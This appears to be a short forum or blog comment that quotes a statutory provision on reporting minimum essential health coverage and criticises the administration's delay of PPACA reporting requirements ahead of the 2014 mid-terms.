health insurance coverage (a) In general Every person who provides minimum essential coverage to an individual during a calendar year shall, at such time as the Secretary may prescribe, make a return described in subsection (b). __ “at such time as the Secretary may prescribe” The Administration is exercising its lawful discretion, sorry. “Perhaps the most significant part of this announcement is that we have finally seen a huge crack in the façade the administration has been maintaining over how well implementation has been going and will go.” __ They had to take it off the table for the 2014 mid-terms. Which just give the PPACA critics more time to undermine it, though.